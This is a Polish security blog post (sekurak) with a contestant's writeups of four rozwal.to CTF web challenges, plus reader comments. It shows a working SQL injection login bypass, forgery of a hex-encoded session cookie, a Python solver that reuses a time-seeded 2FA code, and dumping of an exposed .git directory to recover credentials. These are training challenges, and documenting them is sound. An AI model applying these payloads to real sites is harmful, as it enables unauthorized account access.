Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Zobacz pełne rozwiązania kilku zadań na rozwal.to

02 sierpnia 2017, 12:53 | W biegu | komentarzy 5

Niedawno organizowaliśmy konkurs na rozwal.to z paroma nagrodami pieniężnymi 3×300 pln.

W dość szybkim tempie otrzymaliśmy odpowiedzi, a zgodnie z obietnicą publikujemy też rozwiązania :)

Zadania rozwiązało dość sporo osób, ale na podium stoją: REV, Nazywam oraz quaker (rozwiązanie przesłane o 23:03 – czyli około 2 godziny po ogłoszeniu zadań) – którzy otrzymali po 300 pln netto od Securitum. Gratulacje!

Writeup by REV:

Zadanie 1

Zadanie z kategorii SQL injection, więc od razu próbujemy wysłać login=test’&password=test , na co serwer zwraca „Internal Server Error” najprawdopodobniej spowodowane błędem składni zapytania SQL.

 

Dodanie znaku # rozpoczynającego komentarz: login=test’#&password=test  skutkuje poprawnym zalogowaniem na testowego użytkownika. Podobny payload z próbą zalogowania na admina: login=admin’#&password=test  powoduje otrzymanie komunikatu o błędnym haśle. Nie mamy więc tutaj sprawdzenia hasła w samym zapytaniu, te natomiast zwracane jest z samego zapytania i porównywane później.

 

Możemy w takim wypadku użyć union  by zwrócić nasz własny rekord. Metodą dodawania po jednym polu w union  i sprawdzenia czy serwer nie zwraca błędu stwierdzamy, że aplikacja oczekuje dwóch pól – czyli najprawdopodniej loginu i hasła.

 

Jednak wysłanie login=’ union select 'admin’, 'test’#&password=test  nadal skutkuje błędem. Hasła w bazie często są poddawane funkcjom skrótu – sprawdźmy md5: login=’ union select 'admin’, '098f6bcd4621d373cade4e832627b4f6’#&password=test : Bravo! The flag is ROZWAL_{Wellknown0ldTrick}.

 

Pomógł trochę fakt, że przypomniało mi się identyczne zadanie z konkursu z wejściówką na Secure 2016 (którą wtedy też wygrałem ;)). Gdyby nie przeszedł skrót md5 z hasła próbowałbym odzyskiwać bazę przez blind SQL injection.</div

Zadanie 2

Zadanie proponuje zalogować się jako test/test, co czynimy i otrzymujemy komunikat, że potrzebny będzie jednak admin. Aplikacja ustawia nam również ciastko: PHPSESSID=7b226964223a327d . Nie jest to standardowa wartość ciastka PHPSESSID. Po czym można to poznać na pierwszy rzut oka? Po długości – te jest za krótkie oraz po charsecie – powinno być zdecydowanie więcej liter, ponadto żadna nie jest większa od „d”. Pasuje to z kolei do hexów przedstawiających drukowalne znaki, czyli ciąg bajtów w zakresie od 0x20 do 0x7e.

 

Po zamianie otrzymujemy {„id”:2} . Zamieniamy 2 na 1, konwertujemy do hex-ów i podmieniamy ciastko:
You are logged in as admin! The flag is: ROZWAL_{ReallyWeakSessID}.

 

Zadanie 3

Znamy dane do logowania: test/test oraz admin/admin. Po pierwszym etapie logowania musimy dodatkowo podać kod, który widzimy dla konta testowego, ale nie dla admina. Po kilku próbach widzimy również, że kod zmienia się po każdym poprawnym wprowadzeniu loginu i hasła oraz przypisany jest do sesji.

 

Dość przypadkowo okazało się, że generowany jest ten sam kod jeżeli spróbujemy zalogować się w tej samej sekundzie. Może to sugerować, że seed służący do jego wygenerowania zależy tak naprawdę tylko od czasu. Możemy więc spróbować zalogować się jednocześnie na konto test oraz admin w dwóch sesjach, odczytać kod z sesji testowej i podać go w sesji admina.
Kompletny solver:

 

python
import re
import requests

code = re.findall('"(\d+)"', requests.post('http://172.104.131.19/july2017/3.php', data={'login': 'test', 'password': 'test'}, cookies={'zad3sess': 'test'}).content)[0]
requests.post('http://172.104.131.19/july2017/3.php', data={'login': 'admin', 'password': 'admin'}, cookies={'zad3sess': 'admin'})

print requests.post('http://172.104.131.19/july2017/3.php', data={'code': code, 'step1': ''}, cookies={'zad3sess': 'admin'}).content
You are logged in! And your flag is: ROZWAL_{EveryUserWithTHEsameSMScode}

 

Zadanie 4.

Komentarz sugeruje nam, że autor używa gita. Potwierdzamy, że razem ze stroną zdeployowany został katalog .git próbując pobrać jeden ze standardowych plików: http://172.104.131.19/july2017/4/.git/config. Następnie używamy sprawdzonego narzędzia GitTools:

 

$ Dumper/gitdumper.sh http://172.104.131.19/july2017/4/.git/ repo
$ Extractor/extractor.sh repo repo
(...)
[+] Found file: (...)/repo/0-33be7c065ad1bcd62d80d3e4d0a8234d2b71c128/testing_users_names.txt

W pliku znajdujemy dane User: admin, pass: 330y49FbhD92f , które użyte do logowania dają nam: Hello admin! Here is your flag: ROZWAL_{DoNotEverEverForgetAboutGit}.

–ms

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Adrian
    Odpowiedz
    • przewijajdalej

      Jednakże, trzeba umieć to wyważyć. Brute-force to czasem nie narzędzie, a czasem bez tego nie dasz rady. Jak już mówimy o zbiorach, jest kilka narzędzi które mogą pomóc innym osobom w rozwiązaniu tego samego zadania. Ja np. często look’am w .git bo i nieintencjonalne rozwiązania zadań się zdarzają. Z automatycznych tooli, jeżeli nie dostrajasz ich, nie robią jednej konkretnej rzeczy dobrze, zwykle dostaje się śmieci, jednakże znów – w niektórych śmieciach możesz mieć dodatkowe info. Które później może Ci się przydać. To może nie na zadania z Rozwala ale łączenie elementów układanki przydaje się w szukaniu błędów wysokiego zagrożenia.

      Odpowiedz
  2. wiktor16

    pytanie od web nooba :( odnosnie zadania nr.3

    cookies={’zad3sess’: 'admin’} jak sprawdzam w cookie manager FireFoxa to podaje np. {’zad3sess’: 'o5dpsl5ees6tsgoertrl3km4c1′}

    w jaki sposob ta wartosc jest kodowana ?

    Odpowiedz
    • Paweł

      Po prostu Rev wysłał taką wartość jako cookie.
      Ty przy get dostajesz od servera to co piszesz i kluczowe jest tylko aby puszczać tę wartość przy kolejnych requestach aby serwer wiedział, że to „ty”. Ta wartość, którą masz to nie jest zakodowane słowo „admin”.

      Odpowiedz
    • przewijajdalej

      Jako że mówiłeś że jesteś n00bem Wiktor16 (każdy jest, choć teraz już pewnie nie jesteś, może komuś innemu się przyda ;)) Poobserwuj sobie jakie rzeczy zwraca serwer. Na pierwszego GET’a otrzymujes nagłówek Set-Cookie, który mówi przeglądarce aby ustawić ciasteczko – czyli przy następnych żądaniach wysyłane w nagłówku Cookie. Jeszcze możesz sprawdzić taką wersję solvera (python3.8):

      import re, requests

      loc=”http://172.104.131.19/july2017/3.php”
      admin_cks= {’zad3sess’:requests.get(url=loc).cookies.get(’zad3sess’)}
      test_cks = {’zad3sess’:requests.get(url=loc).cookies.get(’zad3sess’)}

      code = re.findall('”(\d+)”’, requests.post(url=loc, data ={’login’:’test’,’password’:’test’}, cookies=test_cks).text)[0]
      requests.post(url=loc, data={’login’:’admin’,’password’:’admin’}, cookies=admin_cks)

      print(requests.post(url=loc, data={’code’:code,’step1′:”}, cookies=admin_cks).text)

      Odpowiedz

Odpowiedz